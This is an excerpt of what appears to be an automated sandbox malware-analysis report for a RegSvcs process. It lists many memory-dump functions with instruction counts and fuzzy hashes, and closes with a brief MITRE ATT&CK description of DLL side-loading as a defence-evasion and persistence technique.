Instruction Fuzzy Hash: 41F0F031B106104B87256A3E9854A2AB6EFEFC8B7131D847BE905CB361EE21CC038386

Function 00FD9C11 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bf81945789eb7de5cac4bdfbade24fab8b0d66a3a847368fd51a5cb99fda287
Instruction ID: d3aa095a897814e5e2feec7737538474277f2df7ba8add728a4725c6b2c441b9
Opcode Fuzzy Hash: 9bf81945789eb7de5cac4bdfbade24fab8b0d66a3a847368fd51a5cb99fda287
Instruction Fuzzy Hash: ADF0E272A0D3C5AFDF139B9084442ACFFB2DF52321F1980DBD5808B262C3744A89D751

Function 00FD8EEB Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4640c1f9842037d0db26c351720eda238f166078a9d5e56ce1664ee27a87557d
Instruction ID: 9fac8014f2d0c5354ad648261bc7b6ac0bea9485267f2d1487cb04e445bb65f0
Opcode Fuzzy Hash: 4640c1f9842037d0db26c351720eda238f166078a9d5e56ce1664ee27a87557d
Instruction Fuzzy Hash: E2D02E6300C2642EE722010E3C81A932F0EC2C23B0B2A01A7F528E32029C414C4262B4

Function 00FD28A1 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e669fff3b11999b1253fb121837dedceddea9821c8b82edf2f632454db99655
Instruction ID: 3a10707e642cefafaf56dc37553872e000714f33a5b53bede8a9b0d96233b647
Opcode Fuzzy Hash: 5e669fff3b11999b1253fb121837dedceddea9821c8b82edf2f632454db99655
Instruction Fuzzy Hash: EFE02676D206A6CBCB02E7B19C500EEF738BDE2212B58465BC06272081FB30121AC7A1

Function 00FD6739 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f27ae6ebcd4b5f874169219751e6fa2ce85426806a3516ed5db303ca481a837
Instruction ID: d8289c5eaf4fdb99017fe8ec1b2f7f9b39c633cc0e4cc3cd601a26be0f70be66
Opcode Fuzzy Hash: 1f27ae6ebcd4b5f874169219751e6fa2ce85426806a3516ed5db303ca481a837
Instruction Fuzzy Hash: F1E0C23501834E8ACB02B778BC5A2583F5BA9A231C71C86A7D004CE25BDE796A1587A0

Function 00FD28B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a8dc3f913fb2443c907767535392ebae99f29d9172c6dd89fe6111874514c11
Instruction ID: 7646d466cd161bf72352935b2ba85b02f33d58e5121708f48fef7e778f0d09b8
Opcode Fuzzy Hash: 7a8dc3f913fb2443c907767535392ebae99f29d9172c6dd89fe6111874514c11
Instruction Fuzzy Hash: 41D01732D202AA978B04A6A6DC048EEF73DEE96221B908626D52437140EB706669C7E1

Function 00FDD6D4 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15d9bdbe8da6956bda306f9f933ed06837fb3f41c84af04895e0c1db7fe70efa
Instruction ID: fe2c97a816ddda17d051fc011f4afd2ec72cf6deeb4ea0bd999512fde00b4ff6
Opcode Fuzzy Hash: 15d9bdbe8da6956bda306f9f933ed06837fb3f41c84af04895e0c1db7fe70efa
Instruction Fuzzy Hash: EBD04239E4510DCBCB30DFA8E4944DCBBB1EF49321B24942AD929A3251D6345465CF51

Function 00FDAFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e8bd88f9820c011cceffd339c56c34617f8417966e99b7e85d1312eedbf079
Instruction ID: 6b55c465a8585133626478bd0964171cd882a8946008404c9a67020908667499
Opcode Fuzzy Hash: 61e8bd88f9820c011cceffd339c56c34617f8417966e99b7e85d1312eedbf079
Instruction Fuzzy Hash: 52D0677AB40008DBCB049F99E8809DDF776FB98221B04C516E915A3260C6319935DB60

Function 00FD6748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4e6c257e647bf27b9013700f2d5299b442282c62176e74ef0d7fd6f25c36e12
Instruction ID: 6fcd931cb0079fc5269bc8e88e6fb1318f7f7f42b436d482f2586ef65e797fba
Opcode Fuzzy Hash: b4e6c257e647bf27b9013700f2d5299b442282c62176e74ef0d7fd6f25c36e12
Instruction Fuzzy Hash: 81C0123412030A87D500BB75FC56759375AAA90704744D65591054A119DE7D5A144A84

Non-executed Functions

Function 061B8BA0 Relevance: 1.6, Strings: 1, Instructions: 367COMMON

Download Yara Rule

Strings

", xrefs: 061B90BE

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 44eb8626801e4b5025e06b307ec9ed0b1ad2551f323bf6231c66dce84cc2e981
Instruction ID: dcc52424fe628f4096729c7b4b1ceaf05bfbf52e0e26be0603e5e265a33e2186
Opcode Fuzzy Hash: 44eb8626801e4b5025e06b307ec9ed0b1ad2551f323bf6231c66dce84cc2e981
Instruction Fuzzy Hash: 53F1E370E002188FEB54DFA9C484BDEFBF2AF89314F248169E448AB395D7749986CF50

Function 061B0006 Relevance: 1.4, Strings: 1, Instructions: 172COMMON

Download Yara Rule

Strings

q, xrefs: 061B0038

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID: q
API String ID: 0-4110462503
Opcode ID: 4775151d740fdbb1f18eabbd5d8ae7b33ae98625bed12cfa858c4c1474efdf47
Instruction ID: 18f4b73c554d00fe91ab3966856eba0e5b51ae73f2e4f37b6a186cc82aa7bcd7
Opcode Fuzzy Hash: 4775151d740fdbb1f18eabbd5d8ae7b33ae98625bed12cfa858c4c1474efdf47
Instruction Fuzzy Hash: 1D710874E01259CFEB29DF66D850BADBBB2BF89300F14C0EAD408A7655EB345A85CF50

Function 00FD29E0 Relevance: .7, Instructions: 719COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 038af32cbcb97d3a23fb81f3d24bf38c8e68d6cb4bebe87f92ccde17fcf47ed6
Instruction ID: c603b1a3545235af8ea493bf88dcce07ebe211c1cb10c05fde855c3e9e5b0324
Opcode Fuzzy Hash: 038af32cbcb97d3a23fb81f3d24bf38c8e68d6cb4bebe87f92ccde17fcf47ed6
Instruction Fuzzy Hash: 0222059384E7C18FD79287B848BD2AB7FB5CF62200B5944EFCCC242687E5595802E763

Function 061B0040 Relevance: .6, Instructions: 596COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b22ae0ea890bbf20f9b76458eae037df89f6a8e9755a56d28977cc6970e422e
Instruction ID: e420a26adf4a1e714ef61cc4aee8c2725c004d6e3feb55dbef9ccfc1376d63cf
Opcode Fuzzy Hash: 3b22ae0ea890bbf20f9b76458eae037df89f6a8e9755a56d28977cc6970e422e
Instruction Fuzzy Hash: 6852AA74E01228CFEB64DF65C884BDEBBB2BB89301F1485EAD409A7255DB359E81CF50

Function 00FD3E09 Relevance: .3, Instructions: 302COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84da7c7e73c875e65d51a4cb5032e53fc6d1fcc894082a2a202843cea6d2a501
Instruction ID: 3049849117e379786ed0a6638bc8aa6f9fcc64838fc7de6e4889fd4db3e54e47
Opcode Fuzzy Hash: 84da7c7e73c875e65d51a4cb5032e53fc6d1fcc894082a2a202843cea6d2a501
Instruction Fuzzy Hash: 23A1E635B04255CBDB08EBB4A85827E7BB3FFC8710B18896EE503E7385CE3598019B55

Function 00FDF961 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac9491d32d42c09bd75093146a644076d9c673c514171b8051f224667bfc8329
Instruction ID: a6c7e6a52222c19951f3d45029f9fbdafea8b829ef09eaec58e187e308d05dc5
Opcode Fuzzy Hash: ac9491d32d42c09bd75093146a644076d9c673c514171b8051f224667bfc8329
Instruction Fuzzy Hash: E2C1E078E01218CFDB54DFA5C894B9DBBB2BF89300F2480AAD809AB355DB355E85CF50

Function 061BE258 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaee6bd9145ae48f5fb46b731567d37fce096d58adbb1aeea41cbb78d3bcc76b
Instruction ID: 576bf77e334425baafc7fc2b8e85040185c3b026f953b51229a03d2cb5d0bbda
Opcode Fuzzy Hash: eaee6bd9145ae48f5fb46b731567d37fce096d58adbb1aeea41cbb78d3bcc76b
Instruction Fuzzy Hash: 41C1BE78E00218CFEB54DFA5C994BDDBBB2BF89300F2490A9D409AB355DB359A81CF50

Function 061BE6B0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d1b9a91abd8b01da0d7d013f702d526b69e76235cae1497b276478760d63ef8
Instruction ID: b9a71bc0419c0b23acd89ca47e0bb4f2543772d18d825af8cb5c8229ca4ae87f
Opcode Fuzzy Hash: 0d1b9a91abd8b01da0d7d013f702d526b69e76235cae1497b276478760d63ef8
Instruction Fuzzy Hash: 21C1BD78E00218CFEB54DFA5C994BDDBBB2BF89300F2490A9D409AB355DB359A85CF50

Function 061BEB08 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c57a452623861ccf6a70ff024791342b5b91c4b0943d5c673789fa0b2f4b0770
Instruction ID: 9d8c6c7b887d76c132642e7cb26fddd7f439666851ab33210e8c06e642216134
Opcode Fuzzy Hash: c57a452623861ccf6a70ff024791342b5b91c4b0943d5c673789fa0b2f4b0770
Instruction Fuzzy Hash: 81C1AE78E00218CFEB54DFA5D994BDDBBB2BF89300F2490A9D409AB355DB359A81CF50

Function 061BEF60 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82b9d332472655ad538ffbe2c0671cf7d633db464cd425504a8f5bf429667e6d
Instruction ID: 1c01c61153e49829554ba0ea6f843008413551dc9718144664190e26364a3b0f
Opcode Fuzzy Hash: 82b9d332472655ad538ffbe2c0671cf7d633db464cd425504a8f5bf429667e6d
Instruction Fuzzy Hash: F7C1BD78E00218CFEB54DFA5C994BDDBBB2BF89300F2490A9D409AB355DB359A85CF50

Function 061BF3B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e168b6eece5f5dd9ac3f6f4bc969f4c632bb8f191f00e959b8b02e15612e0ca
Instruction ID: bd5df7f72e446475a691640ab9f28825f23a4802f6a9c9537746fa27917f3337
Opcode Fuzzy Hash: 7e168b6eece5f5dd9ac3f6f4bc969f4c632bb8f191f00e959b8b02e15612e0ca
Instruction Fuzzy Hash: 55C1BE78E00218CFEB54DFA5C994B9DBBB2BF89300F2090A9D409AB355DB355A81CF50

Function 061BF810 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77a344ed76e3b1897c764804cc3607b0aeccb387f59884211d4bf7c2288fabb7
Instruction ID: 56800a7f83c7daf10ae1e8492cddeece1e9f740fff407f51a4a117f4a48cef51
Opcode Fuzzy Hash: 77a344ed76e3b1897c764804cc3607b0aeccb387f59884211d4bf7c2288fabb7
Instruction Fuzzy Hash: 23C1BF78E00218CFEB54DFA5D994BDDBBB2BF89300F2490A9D409AB355DB359A81CF50

Function 061BCCA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b6b628ea52aa1e79932d9a96702978766ef1d8401432e10a73f8d4127cd62ab
Instruction ID: 1512e9470870e6820e3d7e115ebc37660476acf2f05e9f9e5a999327ac898507
Opcode Fuzzy Hash: 6b6b628ea52aa1e79932d9a96702978766ef1d8401432e10a73f8d4127cd62ab
Instruction Fuzzy Hash: 44C1AF78E00218CFEB54DFA5D994BDDBBB2BF89300F2490A9D409AB355DB359A81CF50

Function 061BD0F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a54fd7e2dd41d3863b0d012d2afea06ee1de4dd20c2038fd2cfec0fd2613f2d9
Instruction ID: dc7621f6e93b47e9febcf7e11f96f9175ff3763bf51c370b99efe678dc742096
Opcode Fuzzy Hash: a54fd7e2dd41d3863b0d012d2afea06ee1de4dd20c2038fd2cfec0fd2613f2d9
Instruction Fuzzy Hash: 00C1CE78E00218CFEB58DFA5D994B9DBBB2AF89300F1090A9D409AB355DB359A85CF50

Function 061BD550 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6988848913ca73f6a2796e3405a11aad9fb5548f031c715d422b50ab1605001b
Instruction ID: 15898f0ebf061b4fdd66c31b28e8ca07efd5b315045045985a0a5819a03f4661
Opcode Fuzzy Hash: 6988848913ca73f6a2796e3405a11aad9fb5548f031c715d422b50ab1605001b
Instruction Fuzzy Hash: DEC1CF78E00218CFEB54DFA5D994BDDBBB2BF89300F2090A9D409AB355DB359A81CF50

Function 061BD9A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a722f4df7799bc700362c534f34d35dfc0d1665a1c683fd379ae9b667320384
Instruction ID: 760931e48b612148cf726dac44ac6e5ec36637389a730bc51846e0dbf35ae2e3
Opcode Fuzzy Hash: 7a722f4df7799bc700362c534f34d35dfc0d1665a1c683fd379ae9b667320384
Instruction Fuzzy Hash: 7FC1BE78E00218CFEB54DFA5D994B9DBBB2BF89300F2490A9D409AB355DB359A81CF50

Function 061B9328 Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2903cd7f67cc235f8fa51231b7ed6ded34d596d83daa509f87764e48c9c7c63
Instruction ID: d5b43c530653c79fda08e33654c2ae7f4ef4e5573c3b4b705874f29d28694aca
Opcode Fuzzy Hash: a2903cd7f67cc235f8fa51231b7ed6ded34d596d83daa509f87764e48c9c7c63
Instruction Fuzzy Hash: 0B91C171E006188FDB58DFB9C9402EEBBF2AFCA310F149969D519A7391DB348906CB91

Function 061B5022 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bef2f169c4bc3ccd9118510c81b6800aeb01b40bb56d83f1efdeb9cdfabdf76d
Instruction ID: f26cee58e7c4ae7af298af5e59af30ec5bc0ea13102a6cd0fcf0744bf5f5b7bf
Opcode Fuzzy Hash: bef2f169c4bc3ccd9118510c81b6800aeb01b40bb56d83f1efdeb9cdfabdf76d
Instruction Fuzzy Hash: 0DA10571D107198EDB14EFA9C844ADDFBB2EF89304F14D2AAE45867260EB709A85CF41

Function 00FDF2C0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 444cedb7ee870e311303270fe5ee3cc717aac1da7bf683d3cdc84cb920ed72ac
Instruction ID: ad2e88576776076de6617eb7ba5000146f63169e57b339bf28bc3b40e08dd7d9
Opcode Fuzzy Hash: 444cedb7ee870e311303270fe5ee3cc717aac1da7bf683d3cdc84cb920ed72ac
Instruction Fuzzy Hash: ED516C70D00208CBDB04EFA8D844BDEB7B2FF8A310F28C16AE406AB395D7759945DB50

Function 00FDF4AC Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c812829a9979c55829bcd7bb73e098c62c65e1e37752bcd8c2337053235cf43
Instruction ID: 6c24f172a5fad3b45562cca26142f34512ab284cffa83f90c1bb705c2737bb4f
Opcode Fuzzy Hash: 0c812829a9979c55829bcd7bb73e098c62c65e1e37752bcd8c2337053235cf43
Instruction Fuzzy Hash: 00511670D01208CFDB10EFA8D484BAEB7B2BF4A315F28816AE406AB394D7359945EF50

Function 061BD999 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad0c7197ab7d8bd3e303edbe02917a7dfadaa882b93e26d89c2bcead9c3a1644
Instruction ID: c35003b4ad99706d6675b80467509c33e1227d7db290c121e01c4409839b4ce9
Opcode Fuzzy Hash: ad0c7197ab7d8bd3e303edbe02917a7dfadaa882b93e26d89c2bcead9c3a1644
Instruction Fuzzy Hash: 8C415870E052888FEB59CFBAD8506DDFBF2AF8A300F24D56AC454AB259DB345946CF10

Function 061B8B91 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63df9c816cbdf28780b6f5e8282f405893d734219afc9b476e5cc876b83842cb
Instruction ID: fbf77b873ec1ab4908ddaa99e51082f0f130e4b2b9c7adb5615a0223c9b6ebdd
Opcode Fuzzy Hash: 63df9c816cbdf28780b6f5e8282f405893d734219afc9b476e5cc876b83842cb
Instruction Fuzzy Hash: 2F41F9B1D016589BEB58CFAAD8843CEFBF6BF88314F14C52AE418AB294DB740545CF51

Function 061BE24A Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d99f221f7a5991587bba4f51988aafedfbb8918355fc9e127796c7ba4315801
Instruction ID: 97479f6f2c1883e9d4bc178c853e6f62377be3606bb0afde467c01ed0b7d3c22
Opcode Fuzzy Hash: 5d99f221f7a5991587bba4f51988aafedfbb8918355fc9e127796c7ba4315801
Instruction Fuzzy Hash: 0341E270E01248CBEB58DFBAD9406EDFBF2AF89300F24D56AC419AB258DB345946CF54

Function 061BEAF8 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66bdb5ac78b7b83b4eded922e97db2778547411a8c6f8e142c9496fd53e3cb48
Instruction ID: a1f42d7e539c0d4453ff2c3da3b36c915298b5c879240b912bac1b086bd7491b
Opcode Fuzzy Hash: 66bdb5ac78b7b83b4eded922e97db2778547411a8c6f8e142c9496fd53e3cb48
Instruction Fuzzy Hash: D141F270E012488BEB58DFBAD9446EDFBF2AF89300F24D52AC419BB258DB345946CF54

Function 061BD540 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2938901de9fdbd73d04e785010cbc68d5904818da704fe0ee4aa9c3b780835e9
Instruction ID: ad37adda921371d86f28a82da479f0c01fe1cbed8606259dc8aa25eff517963e
Opcode Fuzzy Hash: 2938901de9fdbd73d04e785010cbc68d5904818da704fe0ee4aa9c3b780835e9
Instruction Fuzzy Hash: BF410370E012488BEB58DFAAD9506EDFBF2AF89300F24D13AD418AB259DB345946CF54

Function 061BEF51 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04b1b1ba95da7ac6936f05b7a0270a0638b8ed8aac2da8d6b974e61f59a38813
Instruction ID: 0b6d0c2fe323a056ab9200bb25df51558970531e24f29a0e6f6d76b0e5ee04c0
Opcode Fuzzy Hash: 04b1b1ba95da7ac6936f05b7a0270a0638b8ed8aac2da8d6b974e61f59a38813
Instruction Fuzzy Hash: 7941F370E012488FEB58CFBAC9406EDFBF2AF89300F24D569D418AB258DB344946CF54

Function 061BF802 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a424bb9a5629721e8e0d906951240185402c1c27962983010290edd1d11fbf86
Instruction ID: 933e28bee3078ea48d10c39b825ba67de2a58aff4fd4eaaad6bb09267ac0d196
Opcode Fuzzy Hash: a424bb9a5629721e8e0d906951240185402c1c27962983010290edd1d11fbf86
Instruction Fuzzy Hash: 09410170E012488FEB58DFAAD9406EDFBF2AF89300F24942AD415AB258DB344A46CF44

Function 061BE6AF Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e98f812ebabc7a24bcef65b2629c9ba96c117234bb09588495c3a64cbb1b5c2
Instruction ID: 64f7e3756a02db8cd8f2bce014345722e340b1c50e59494fc180e07e49ac0635
Opcode Fuzzy Hash: 1e98f812ebabc7a24bcef65b2629c9ba96c117234bb09588495c3a64cbb1b5c2
Instruction Fuzzy Hash: 9B41E170E012488BEB58DFBAD9406EDBBF2AF89300F20D12AC419BB258DB345946CF54

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

